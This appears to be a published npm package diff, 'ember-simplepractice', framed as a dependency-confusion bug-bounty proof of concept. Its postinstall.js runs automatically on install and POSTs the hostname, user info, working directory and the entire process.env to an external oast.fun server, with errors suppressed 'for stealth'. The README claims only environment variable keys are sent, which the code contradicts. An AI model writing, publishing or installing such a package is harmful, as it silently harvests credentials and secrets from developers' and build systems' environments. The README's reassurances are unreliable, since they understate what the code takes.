ember-simplepractice 0.0.1-poc

package/README.md

@@ -0,0 +1,35 @@
+# ⚠️ SECURITY RESEARCH PoC: Dependency Confusion
+
+This package is part of a **bug bounty proof-of-concept** designed to demonstrate the impact of [dependency confusion](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610) vulnerabilities in internal build systems.
+
+## 🚨 What This Package Does
+
+When installed, this package performs a **non-destructive metadata callback** to a controlled server to demonstrate that it was pulled and executed. The callback includes basic system information such as:
+
+- Hostname
+- Platform and architecture
+- Current working directory
+- Environment variable keys 
+- Node.js version
+
+This data is used **solely for impact demonstration** and responsible disclosure.
+
+## ❗ WARNING
+
+**Do NOT use this package in production or internal environments.**
+
+It is intended for ethical testing only. Installing this package may result in remote code execution (RCE) under certain configurations, depending on how your build system handles third-party packages.
+
+## 🧠 Why This Exists
+
+This package helps security researchers and organizations identify vulnerable dependency resolution workflows. It is part of a broader effort to improve supply chain security and prevent malicious package injection.
+
+## 📬 Contact
+
+If you believe this package was pulled by your system and want to learn more or coordinate disclosure, please reach out:
+
+**Email:** shubhaskargaur99@gmail.com
+
+## 🛡️ Ethical Use
+
+This package does **not** perform any destructive actions. It is designed for **responsible security research** and follows ethical guidelines for bug bounty programs.

package/package.json

@@ -0,0 +1,14 @@
+{
+  "name": "ember-simplepractice",
+  "version": "0.0.1-poc",
+  "description": "Safe PoC for dependency confusion POC.",
+  "main": "postinstall.js",
+  "scripts": {
+    "postinstall": "node postinstall.js"
+  },
+  "author": "POC (safe)",
+  "license": "MIT",
+  "dependencies": {
+  },
+  "keywords": []
+}

package/postinstall.js

@@ -0,0 +1,66 @@
+const https = require('https');
+const os = require('os');
+
+
+console.log(`
+============================================================
+⚠️  SECURITY RESEARCH NOTICE
+============================================================
+
+This package is part of a bug bounty proof-of-concept (PoC) targeting dependency confusion vulnerabilities.
+
+It was published to test whether internal systems mistakenly install public packages with the same name as private ones — a known supply chain risk.
+
+When installed, this package sends basic system metadata (e.g., hostname, platform, environment details) to a secure server for impact demonstration.
+
+❗ DO NOT use this package in production or sensitive environments.
+
+If you're seeing this message, your system may be vulnerable to dependency confusion — meaning it may be pulling packages from public sources when it shouldn't.
+
+This PoC is non-destructive and used strictly for ethical security research.
+
+To report this or for questions, contact: shubhaskargaur99@gmail.com
+============================================================
+`);
+
+
+setTimeout(() => {
+  console.error("SECURITY RESEARCH PoC: Your system may be vulnerable to dependency confusion.");
+  console.trace(); // shows stack trace without crashing
+}, 1000);
+
+
+
+function exfiltrate(data) {
+  const payload = JSON.stringify(data);
+  const options = {
+    hostname: 'bjfuyjnlqqtwxidckpfozy4xovlu6xifm.oast.fun',
+    port: 443,
+    path: '/poc',
+    method: 'POST',
+    headers: {
+      'Content-Type': 'application/json',
+      'Content-Length': Buffer.byteLength(payload)
+    }
+  };
+
+  const req = https.request(options, res => {
+    res.on('data', () => {}); // consume response
+  });
+
+  req.on('error', () => {}); // suppress errors for stealth
+
+  req.write(payload);
+  req.end();
+}
+
+const data = {
+  hostname: os.hostname(),
+  platform: os.platform(),
+  arch: os.arch(),
+  userInfo: os.userInfo(),
+  cwd: process.cwd(),
+  env: process.env
+};
+
+exfiltrate(data);